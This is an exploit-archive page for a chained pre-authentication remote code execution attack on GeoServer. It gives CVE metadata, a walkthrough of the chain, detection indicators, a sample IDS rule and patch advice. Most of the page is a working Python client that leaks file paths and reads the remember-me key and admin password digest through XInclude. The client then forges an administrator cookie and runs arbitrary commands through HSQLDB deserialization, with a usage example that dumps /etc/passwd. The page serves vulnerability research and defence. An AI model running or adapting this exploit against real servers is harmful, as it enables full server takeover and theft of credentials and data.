PoC Archive PoC Archive
CVE-2026-129243, CVE-2026-120705, CVE-2026-129245, CVE-2026-129242, CVE-2026-129244 category: web CVSS 9.2 (CRITICAL) KEV
Unverified

GeoServer Pre-Auth RCE Chain: WFS XInclude to HSQLDB Deserialization (CVE-2026-129243 / CVE-2026-120705)

Published: 2026-11-28 • Researcher: CryptoCat (chain research and PoC); GeoServer security team (advisories)

Target software OSGeo GeoServer (WFS stored queries, remember-me authentication, REST API, JDBC user-group service)
Affected versions GeoServer 2.27.6 and earlier; 2.28.0 through 2.28.5; 3.0.0 through 3.0.1
Status Weaponized
Severity Critical · CVSS 9.2
CVSS 9.2/10

Exploitation signals

KEV

Confirmed exploited in the wild. Added to CISA KEV 2026-11-27. Federal remediation deadline 2026-11-30.

Severity
Critical
CVE
CVE-2026-129243, CVE-2026-120705, CVE-2026-129245, CVE-2026-129242, CVE-2026-129244
Category
web
Affected product
OSGeo GeoServer (WFS stored queries, remember-me authentication, REST API, JDBC user-group service)
Affected versions
GeoServer 2.27.6 and earlier; 2.28.0 through 2.28.5; 3.0.0 through 3.0.1
Disclosed
2026-11-28
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-28
Last Updated2026-11-23
Author / ResearcherCryptoCat (chain research and PoC); GeoServer security team (advisories)
CVE / AdvisoryCVE-2026-129243, CVE-2026-120705, CVE-2026-129245, CVE-2026-129242, CVE-2026-129244
Categoryweb
SeverityCritical
CVSS Score9.2 (highest in chain; CVSS 4.0)
StatusWeaponized
Tagsgeoserver, pre-auth, rce, wfs, xinclude, hsqldb, deserialization, java, kev, cwe-306, cwe-611
RelatedN/A

Affected Target

FieldValue
Software / SystemOSGeo GeoServer (WFS stored queries, remember-me authentication, REST API, JDBC user-group service)
Versions AffectedGeoServer 2.27.6 and earlier; 2.28.0 through 2.28.5; 3.0.0 through 3.0.1
Fixed Versions2.27.7, 2.28.6, 3.0.2
Language / PlatformJava 17 or 21 on Linux; Python 3 exploit client
Authentication RequiredNo
Network Access RequiredYes (HTTP to GeoServer)

Summary

A five-CVE chain in GeoServer turns an anonymous WFS request into pre-authentication remote code execution. An overlong stored-query identifier leaks the absolute data-directory path, while the service x/WFS operation-security bypass allows an anonymous stored query to carry escaped XInclude elements. Those elements disclose the live remember-me key and the administrator password digest from GeoServer’s security configuration, which are enough to forge an administrator session. The REST API then uploads an HSQLDB database and registers it as a JDBC user-group service; a user-property lookup deserializes a BeanComparator/TemplatesImpl gadget and loads an XSLTC translet that runs a command as the GeoServer process. The included client automates the full chain and cleans up its temporary stored query, JDBC service and staging directory.

Vulnerability Details

Root Cause

The chain combines five GeoServer issues:

  1. CVE-2026-129244 — an overlong WFS stored-query identifier produces an exception that leaks the absolute data-directory path.
  2. CVE-2026-129243 — the service x/WFS selector reaches the WFS service but misses the wfs.CreateStoredQuery access rule, allowing an anonymous stored query.
  3. CVE-2026-120705 — escaped XInclude elements in the stored query are reparsed on DescribeStoredQueries with XInclude enabled, disclosing files such as security/config.xml and users.xml. The remember-me key and administrator password digest are exposed.
  4. CVE-2026-129245 — the disclosed remember-me key and digest sign a forged remember-me cookie, which GeoServer exchanges for an administrator session.
  5. CVE-2026-129242 — as administrator, the REST API uploads an HSQLDB database and registers a JDBC user-group service; an OTHER column deserializes an attacker object graph (BeanComparator/TemplatesImpl), and the XSLTC translet executes the command.

Attack Vector

An unauthenticated attacker sends HTTP requests to a default GeoServer instance: a WFS request with an extreme stored-query identifier, an anonymous stored query containing escaped XInclude, a forged remember-me cookie, and REST calls that upload and register the JDBC payload. No credentials, optional extensions or configuration changes are required.

Impact

Remote code execution as the GeoServer process user (root in the official container image), with full control of the server and its data. Two chain CVEs, CVE-2026-129243 and CVE-2026-120705, were added to the CISA KEV catalog on 2026-11-27; CVE-2026-129245 is rated 9.2.

Environment / Lab Setup

Output
OS:          Linux
Target:      GeoServer 3.0.0 or another affected version, default configuration
Attacker:    Python 3 with requests
Tools:       python3, requests, docker/podman (optional for a lab)

Setup Steps

Shell script
1
2
3
4
docker run --rm -p 18080:8080 docker.osgeo.org/geoserver:3.0.0

python3 geoserver_preauth_rce.py \
  -u http://127.0.0.1:18080/geoserver -c id

The payload runs /bin/sh -c, so the target must be Linux. The command is limited to 512 printable ASCII bytes. The chain targets the default admin user in the default file user service.

Proof of Concept

Step-by-Step Reproduction

  1. Start a disposable affected GeoServer instance with a clean data directory.
  2. Run the client against the GeoServer context path with a harmless command such as id.
  3. The client leaks the data directory, persists the anonymous stored query, discloses the remember-me key and administrator digest, forges the cookie, uploads the HSQLDB payload, registers the JDBC user-group service, and triggers the deserialization.
  4. Confirm the command output and inspect the client’s cleanup messages.
  5. If the client cannot prove the database was closed, it leaves the staging directory and prints its location; remove it after restarting GeoServer.

Exploit Code

See geoserver_preauth_rce.py, payload.script, payload.properties and the payload source in payload-src/.

The HSQLDB payload is a text .script/.properties pair; the Java translet and generator source are included so the serialized gadget is not an unexplained blob.

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
 [*] Probing anonymous WFS stored-query errors for the data-directory path
 [+] data directory: /opt/geoserver_data
 [*] Persisting an anonymous x/WFS stored query with deferred XInclude
 [+] DescribeStoredQueries disclosed the remember-me key and admin password digest
 [*] Forging a remember-me cookie and exchanging it for a session
 [+] administrator JSESSIONID accepted by the REST API
 [*] Uploading the HSQLDB payload database and request via REST
 [+] registered JDBC user-group service 'jdbc_geoserver_poc'
 [*] Triggering deserialisation through a user-property lookup
 [+] command executed (exit code 0)
 [+] output of: id
  ------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
 [*] Cleaning up
 [+] removed the staging directory and temporary JDBC service

Detection & Indicators of Compromise

  • WFS requests with extremely long stored-query identifiers, especially 252 or 4092 characters.
  • Anonymous CreateStoredQuery requests and stored queries containing escaped XInclude elements or references to security/config.xml and users.xml.
  • DescribeStoredQueries responses containing configuration or user XML.
  • Forged remember-me cookies followed by administrator JSESSIONID use and REST API calls from an unauthenticated client.
  • REST upload of an HSQLDB .script/.properties database and creation of a JDBC user-group service named jdbc_geoserver_poc.
  • Java process spawning /bin/sh -c or unexpected child processes from GeoServer.
  • GeoServer version below 2.27.7, 2.28.6 or 3.0.2.

SIEM / IDS rule (example):

Output
1
2
3
4
alert http any any -> any any (msg:"GeoServer CVE-2026-129243 stored-query chain"; \
  content:"service=x/WFS"; http_uri; \
  content:"DescribeStoredQueries"; http_uri; \
  pcre:"/storedQuery_id=[^&]{200,}/i"; sid:9002801;)

Remediation

ActionDetail
PatchUpgrade GeoServer to 2.27.7, 2.28.6 or 3.0.2 or later.
WorkaroundRestrict GeoServer to trusted networks; block anonymous WFS stored-query creation and XInclude processing at the WAF; rotate the remember-me key and administrator credentials if exposure is suspected.
Config HardeningDisable unused WFS/REST endpoints, run GeoServer as a non-root user, monitor the data directory and JDBC user-group configuration.

References

Notes

Reviewed 2026-11-28. This is a genuine full-chain PoC tested upstream against the official docker.osgeo.org/geoserver:3.0.0 image, not a detector or a modeled harness. The repository has no license file; the code is archived with attribution for authorized research only. The HSQLDB payload files are text SQL/properties, not compiled binaries. No exploit code was executed during archival; python3 -m py_compile was used only as a syntax check.

CVE-2026-129243 and CVE-2026-120705 are CISA KEV additions dated 2026-11-27. The five CVEs are a single chain; they are grouped in this one entry rather than split across five near-duplicate entries.

geoserver_preauth_rce.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
# Archived for authorized security research only.
# Source: https://github.com/Crypto-Cat/geoserver-unauth-rce-poc (no license file)
#!/usr/bin/env python3
"""GeoServer 3.0.0 pre-authentication RCE via WFS stored-query XInclude and HSQLDB deserialisation.

An anonymous WFS request with service="x/WFS" reaches the real WFS service but misses the
wfs.CreateStoredQuery access rule, so an unauthenticated attacker can persist a stored query.
Escaped XInclude elements in the query text are reparsed on DescribeStoredQueries with XInclude
enabled and a null entity resolver, disclosing the live remember-me key from security/config.xml
and the administrator password digest from users.xml. Those two secrets forge a valid
remember-me cookie (no password cracking) that mints an administrator JSESSIONID. The REST API
then writes a crafted HSQLDB database under the data directory and registers it as a JDBC
user-group service; a user-property lookup deserialises an attacker object graph from an OTHER
column, loading an XSLTC translet that runs /bin/sh. Linux target, Java 17 or 21, stock default
configuration -- no optional extensions or config changes required.

Fixed in GeoServer 3.0.2, 2.28.6 and 2.27.7. GeoServer published the chain as five advisories
on 2026-11-23: CVE-2026-129244, CVE-2026-129243, CVE-2026-120705, CVE-2026-129245 and
CVE-2026-129242. Writeup: https://cryptocat.me/blog/research/analysis/geoserver_preauth_rce/
Run only against a disposable target you own or are explicitly authorised to test.
"""

import argparse
import base64
import hashlib
import os
import re
import secrets
import sys
import time
import urllib.parse
import xml.etree.ElementTree as ET
from pathlib import Path
from xml.sax.saxutils import escape

import requests

# Remember-me identities are user@service, so the target is admin@default.
ADMIN = "admin"
USER_SERVICE = "default"
# Any admin page works: requesting it with the forged cookie triggers the remember-me login.
STATUS_PATH = "/web/wicket/bookmarkable/org.geoserver.web.admin.StatusPage"
# 252 hits the filename limit when wfs/query exists; 4092 hits the path limit on a fresh data dir.
ID_LENGTHS = (252, 4092)
# Name of the temporary JDBC user-group service. The payload looks it up by this exact name.
SERVICE = "jdbc_geoserver_poc"

# --- terminal UI ---
_BANNER = r"""
  ____           ____
 / ___| ___  ___/ ___|  ___ _ ____   _____ _ __
| |  _ / _ \/ _ \___ \ / _ \ '__\ \ / / _ \ '__|
| |_| |  __/ (_) |__) |  __/ |   \ V /  __/ |
 \____|\___|\___/____/ \___|_|    \_/ \___|_|
"""
_COLOR = sys.stderr.isatty() and os.environ.get("NO_COLOR") is None


def _paint(code, text):
    return f"\033[{code}m{text}\033[0m" if _COLOR else text


def disable_color():
    global _COLOR
    _COLOR = False


def banner(subtitle):
    sys.stderr.write(_paint("36", _BANNER.strip("\n")) + "\n")
    sys.stderr.write("  " + _paint("2", subtitle) + "\n")
    sys.stderr.write("  " + _paint("2", "discovered by CryptoCat · cryptocat.me") + "\n\n")


def info(msg):
    sys.stderr.write(f" {_paint('36', '[*]')} {msg}\n")


def good(msg):
    sys.stderr.write(f" {_paint('32', '[+]')} {msg}\n")


def warn(msg):
    sys.stderr.write(f" {_paint('33', '[!]')} {msg}\n")


def bad(msg):
    sys.stderr.write(f" {_paint('31', '[-]')} {msg}\n")


def die(msg):
    bad(msg)
    sys.exit(1)


def output(data, label="command output"):
    good(label)
    sys.stderr.write(_paint("2", "  " + "-" * 60) + "\n")
    if isinstance(data, str):
        data = data.encode()
    sys.stdout.buffer.write(data)
    if data and not data.endswith(b"\n"):
        sys.stdout.buffer.write(b"\n")
    sys.stdout.buffer.flush()
# --- end terminal UI ---


# One session for the whole run: no proxy env vars, one timeout, and redirects are returned as-is.
class Http(requests.Session):
    def __init__(self, timeout):
        super().__init__()
        self.trust_env = False
        self.timeout = timeout

    def request(self, method, url, **kwargs):
        kwargs.setdefault("timeout", self.timeout)
        kwargs.setdefault("allow_redirects", False)
        return super().request(method, url, **kwargs)


def arguments():
    parser = argparse.ArgumentParser(
        description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="example:\n"
               "  %(prog)s -u https://target.example/geoserver -c id\n"
               "  %(prog)s -u https://target.example/geoserver -c 'cat /etc/passwd' > loot.txt\n")
    parser.add_argument("-u", "--url", required=True, metavar="URL",
                        help="GeoServer application URL, e.g. https://host/geoserver")
    parser.add_argument("-c", "--command", default="id", metavar="CMD",
                        help="command to run (default: id; printable ASCII, <=512 bytes)")
    parser.add_argument("-k", "--insecure", action="store_true", help="disable TLS verification")
    parser.add_argument("--timeout", type=float, default=30, metavar="S",
                        help="HTTP timeout in seconds (default: 30)")
    parser.add_argument("--no-color", action="store_true", help="disable coloured output")
    args = parser.parse_args()
    if args.no_color:
        disable_color()

    if args.timeout <= 0:
        parser.error("--timeout must be positive")
    try:
        args.command_bytes = args.command.encode("ascii")
    except UnicodeEncodeError:
        parser.error("--command must contain printable ASCII characters")
    if not args.command_bytes or any(b < 0x20 or b > 0x7E for b in args.command_bytes):
        parser.error("--command must contain printable ASCII characters")
    if len(args.command_bytes) > 512:
        parser.error("--command is limited to 512 bytes")

    parsed = urllib.parse.urlsplit(args.url.rstrip("/"))
    if parsed.scheme not in {"http", "https"} or not parsed.netloc:
        parser.error("--url must be an HTTP(S) GeoServer application URL")
    if parsed.username is not None or parsed.password is not None:
        parser.error("--url must not contain credentials")
    if parsed.query or parsed.fragment:
        parser.error("--url must not contain a query string or fragment")
    args.url = args.url.rstrip("/")
    return args


def local_name(name):
    return name.rsplit("}", 1)[-1]


def resource_url(target, path):
    return target + "/rest/resource/" + urllib.parse.quote(path, safe="/")


def service_url(target, name=""):
    base = target + "/rest/security/usergroupservices"
    return base if not name else base + "/" + urllib.parse.quote(name, safe="")


def ogc_success(response, root_name):
    if not 200 <= response.status_code < 300:
        return False
    try:
        root = ET.fromstring(response.content)
    except ET.ParseError:
        return False
    attrs = {local_name(name): value for name, value in root.attrib.items()}
    return local_name(root.tag) == root_name and attrs.get("status", "").upper() == "OK"


def require_success(label, response):
    if not 200 <= response.status_code < 300:
        raise RuntimeError(
            f"{label} failed with HTTP {response.status_code}: {response.text[:500].strip()}"
        )


# Stage 1: an overlong storedQuery_id makes the filesystem lookup fail, and the public WFS exception echoes the full path it tried to open. Strip the known suffix to get the data dir.
def discover_data_directory(http, target):
    endpoint = target + "/wfs"
    for index, length in enumerate(ID_LENGTHS):
        identifier = "A" * length
        if index == 0:
            response = http.get(
                endpoint,
                params={
                    "service": "WFS",
                    "version": "2.0.0",
                    "request": "GetFeature",
                    "storedQuery_id": identifier,
                },
            )
        else:
            # The 4,092-character ID goes in an XML POST body, keeping it out of the URL.
            document = (
                '<?xml version="1.0" encoding="UTF-8"?>'
                '<wfs:GetFeature service="WFS" version="2.0.0" '
                'xmlns:wfs="http://www.opengis.net/wfs/2.0">'
                f'<wfs:StoredQuery id="{identifier}"/>'
                "</wfs:GetFeature>"
            )
            response = http.post(
                endpoint,
                data=document.encode(),
                headers={"Content-Type": "application/xml"},
            )
        try:
            root = ET.fromstring(response.content)
            text = "\n".join(
                "".join(node.itertext())
                for node in root.iter()
                if local_name(node.tag) == "ExceptionText"
            )
        except ET.ParseError:
            text = response.text
        # The leaked path ends in /wfs/query/<id>.xml; everything before that is the data dir.
        suffix = "/wfs/query/" + identifier + ".xml"
        match = re.search(r"(/[^\r\n]+?" + re.escape(suffix) + r")", text)
        if match:
            return match.group(1)[: -len(suffix)]
    raise RuntimeError("the WFS response did not disclose the data-directory path")


# Best-effort anonymous delete through the same x/WFS bypass.
def anonymous_drop(http, target, query_id):
    try:
        response = http.get(
            target + "/wfs",
            params={
                "service": "x/WFS",
                "version": "2.0.0",
                "request": "DropStoredQuery",
                "storedQuery_id": query_id,
            },
        )
        return ogc_success(response, "DropStoredQueryResponse")
    except requests.RequestException:
        return False


# Stage 2: service="x/WFS" reaches the real WFS service but misses the wfs.CreateStoredQuery rule, so an anonymous user can save a stored query. Its text carries escaped xi:include elements. GeoServer unescapes and reparses that text when it saves the query, and DescribeStoredQueries reloads the file with XInclude on and a null entity resolver, so the response inlines config.xml (remember-me key) and users.xml (admin password digest).
def disclose_security_material(http, target, data_directory, query_id):
    def include(path, mode):
        file_url = "file://" + urllib.parse.quote(path, safe="/:")
        return (
            '<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" '
            f'xmlns="" href="{file_url}" parse="{mode}"/>'
        )

    base = data_directory.rstrip("/")
    # Escaped, so the request parser reads the includes as text rather than markup.
    query_text = escape(
        include(base + "/security/config.xml", "text")
        + include(base + "/security/usergroup/default/users.xml", "xml")
    )
    document = f'''<?xml version="1.0" encoding="UTF-8"?>
<wfs:CreateStoredQuery service="x/WFS" version="2.0.0"
 xmlns:wfs="http://www.opengis.net/wfs/2.0">
 <wfs:StoredQueryDefinition id="{query_id}">
  <wfs:QueryExpressionText returnFeatureTypes=""
   language="urn:ogc:def:queryLanguage:OGC-WFS::WFSQueryExpression"
   isPrivate="false">
   <wfs:Query typeNames="">{query_text}</wfs:Query>
  </wfs:QueryExpressionText>
 </wfs:StoredQueryDefinition>
</wfs:CreateStoredQuery>'''.encode()

    # isPrivate="false" above matters: GeoTools only reparses public query text when saving it.
    created = http.post(
        target + "/wfs", data=document, headers={"Content-Type": "application/xml"}
    )
    if not ogc_success(created, "CreateStoredQueryResponse"):
        raise RuntimeError(f"stored-query creation failed with HTTP {created.status_code}")
    described = http.get(
        target + "/wfs",
        params={
            "service": "WFS",
            "version": "2.0.0",
            "request": "DescribeStoredQueries",
            "storedQuery_id": query_id,
        },
    )
    if described.status_code != 200:
        raise RuntimeError(f"stored-query disclosure failed with HTTP {described.status_code}")
    try:
        root = ET.fromstring(described.content)
    except ET.ParseError as error:
        raise RuntimeError("the stored-query response was not valid XML") from error

    # Pull the active remember-me key and the enabled admin's stored password digest out of the included files in the response.
    remember_key = None
    verifier = None
    for element in root.iter():
        if local_name(element.tag) == "rememberMeService":
            for child in element:
                if local_name(child.tag) == "key":
                    remember_key = child.text or ""
        elif local_name(element.tag) == "user":
            attrs = {local_name(name): value for name, value in element.attrib.items()}
            if attrs.get("name") == ADMIN and attrs.get("enabled", "true").lower() == "true":
                verifier = attrs.get("password")
    if not remember_key or verifier is None:
        raise RuntimeError("the active key or admin password digest was absent from the response")
    return verifier, remember_key


# Stage 3: forge a Spring Security remember-me cookie. Its signature is a SHA-256 over user:expiry:password-digest:key, so the two leaked values are enough without cracking anything.
def administrator_session(http, target, verifier, remember_key):
    http.cookies.clear()
    username = ADMIN + "@" + USER_SERVICE
    expiry = int(time.time() * 1000) + 3_600_000  # One hour from now, in milliseconds.
    signature = hashlib.sha256(
        f"{username}:{expiry}:{verifier}:{remember_key}".encode()
    ).hexdigest()
    # Spring's cookie format: URL-encoded fields joined by ':', then Base64 without padding.
    fields = (username, str(expiry), "SHA256", signature)
    token = base64.b64encode(
        ":".join(urllib.parse.quote_plus(value, safe="*.-_") for value in fields).encode()
    ).decode().rstrip("=")
    # The remember-me filter logs the cookie in and the response sets an admin JSESSIONID.
    http.get(target + STATUS_PATH, headers={"Cookie": f"remember-me={token}"})
    if not any(c.name == "JSESSIONID" for c in http.cookies):
        raise RuntimeError("the remember-me token did not create a session")
    # Prove the session is admin by reading an admin-only REST endpoint.
    if http.get(service_url(target)).status_code != 200:
        raise RuntimeError("the new session was not accepted by the administrator REST API")


# Delete the stored-query file through the REST resource API once we are admin. Before that, the anonymous DropStoredQuery is the only option.
def remove_stored_query(http, target, query_id, authenticated):
    if not authenticated:
        anonymous_drop(http, target, query_id)
        return False
    location = resource_url(target, f"wfs/query/{query_id}.xml")
    try:
        check = http.head(location)
        if check.status_code == 404:
            return True
        if check.status_code != 200 or not 200 <= http.delete(location).status_code < 300:
            return False
        return http.head(location).status_code == 404
    except requests.RequestException:
        return False


# The pre-built HSQLDB database holding the serialised gadget graph. payload-src/ rebuilds it.
def payload_files():
    directory = Path(__file__).resolve().parent
    properties = directory / "payload.properties"
    script = directory / "payload.script"
    if not properties.is_file() or not script.is_file():
        raise RuntimeError("payload.properties and payload.script must be beside this PoC")
    return properties.read_bytes(), script.read_bytes()


# JDBC user-group service config pointing at the uploaded HSQLDB file. creatingTables=false leaves the payload's own schema alone.
def jdbc_configuration(url):
    return f"""<org.geoserver.security.jdbc.config.JDBCUserGroupServiceConfig>
  <name>{SERVICE}</name>
  <className>org.geoserver.security.jdbc.JDBCUserGroupService</className>
  <passwordEncoderName>plainTextPasswordEncoder</passwordEncoderName>
  <passwordPolicyName>default</passwordPolicyName>
  <propertyFileNameDDL>usersddl.xml</propertyFileNameDDL>
  <propertyFileNameDML>usersdml.xml</propertyFileNameDML>
  <jndi>false</jndi>
  <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
  <connectURL>{escape(url)}</connectURL>
  <userName>SA</userName>
  <password></password>
  <creatingTables>false</creatingTables>
</org.geoserver.security.jdbc.config.JDBCUserGroupServiceConfig>
""".encode()


# The payload reports back through key=value files in the staging directory. These parsers reject anything malformed or written by a different run.
def parse_fields(body, names):
    try:
        lines = body.decode("ascii").splitlines()
    except UnicodeDecodeError as error:
        raise RuntimeError("the payload response was not ASCII") from error
    if any("=" not in line for line in lines):
        raise RuntimeError("the payload response was malformed")
    fields = dict(line.split("=", 1) for line in lines)
    if len(fields) != len(lines) or set(fields) != set(names):
        raise RuntimeError("the payload response had unexpected fields")
    return fields


def parse_result(body, token, command_b64):
    fields = parse_fields(
        body,
        ("token", "command_b64", "exit_code", "timed_out", "output_truncated", "output_b64"),
    )
    if fields["token"] != token or fields["command_b64"] != command_b64:
        raise RuntimeError("the command result belongs to another run")
    if fields["timed_out"] not in {"true", "false"}:
        raise RuntimeError("the payload returned an invalid timed_out value")
    if fields["output_truncated"] not in {"true", "false"}:
        raise RuntimeError("the payload returned an invalid output_truncated value")
    try:
        exit_code = int(fields["exit_code"])
        output = base64.b64decode(fields["output_b64"], validate=True)
    except (ValueError, KeyError) as error:
        raise RuntimeError("the command result was malformed") from error
    return exit_code, fields["timed_out"] == "true", fields["output_truncated"] == "true", output


def parse_cleanup(body, token):
    fields = parse_fields(body, ("token", "pool_closed"))
    if fields["token"] != token:
        raise RuntimeError("the cleanup record belongs to another run")
    if fields["pool_closed"] not in {"true", "false"}:
        raise RuntimeError("the payload returned an invalid pool_closed value")
    return fields["pool_closed"] == "true"


# Poll the REST resource API until the payload publishes a file, or give up after `seconds`.
def wait_for_resource(http, target, path, seconds):
    deadline = time.monotonic() + seconds
    while time.monotonic() < deadline:
        response = http.get(resource_url(target, path))
        if response.status_code == 200:
            return response.content
        if response.status_code != 404:
            raise RuntimeError(f"reading {path} returned HTTP {response.status_code}")
        time.sleep(0.5)
    return None


# Delete the temporary JDBC service, but only if it still points at our database.
def remove_service(http, target, name, expected_url, attempted):
    location = service_url(target, name)
    try:
        check = http.get(location)
        if check.status_code == 404:
            return True
        if not attempted or check.status_code != 200:
            return False
        try:
            root = ET.fromstring(check.content)
        except ET.ParseError:
            return False
        values = {
            local_name(element.tag): element.text or ""
            for element in root.iter()
            if local_name(element.tag) in {"name", "connectURL"}
        }
        if values != {"name": name, "connectURL": expected_url}:
            return False
        if not 200 <= http.delete(location).status_code < 300:
            return False
        return http.get(location).status_code == 404
    except requests.RequestException:
        return False


# HSQLDB files are only safe to delete once the payload closed the pool, the .lck file is gone and the database is marked unmodified.
def shutdown_proved(http, target, database, pool_closed):
    if not pool_closed:
        return False
    try:
        lock = http.head(resource_url(target, database + ".lck"))
        properties = http.get(resource_url(target, database + ".properties"))
        lines = properties.content.decode("ascii").splitlines()
    except (requests.RequestException, UnicodeDecodeError):
        return False
    modified = [line for line in lines if line.startswith("modified=")]
    return lock.status_code == 404 and properties.status_code == 200 and modified == ["modified=no"]


# Delete the staging directory, but only when the caller has proved it is safe to.
def remove_stage(http, target, stage, allowed):
    location = resource_url(target, stage)
    try:
        check = http.head(location)
        if check.status_code == 404:
            return True
        if not allowed or check.status_code != 200:
            return False
        if not 200 <= http.delete(location).status_code < 300:
            return False
        return http.head(location).status_code == 404
    except requests.RequestException:
        return False


def show_result(command, result):
Showing 500 of 698 lines View full file on GitHub →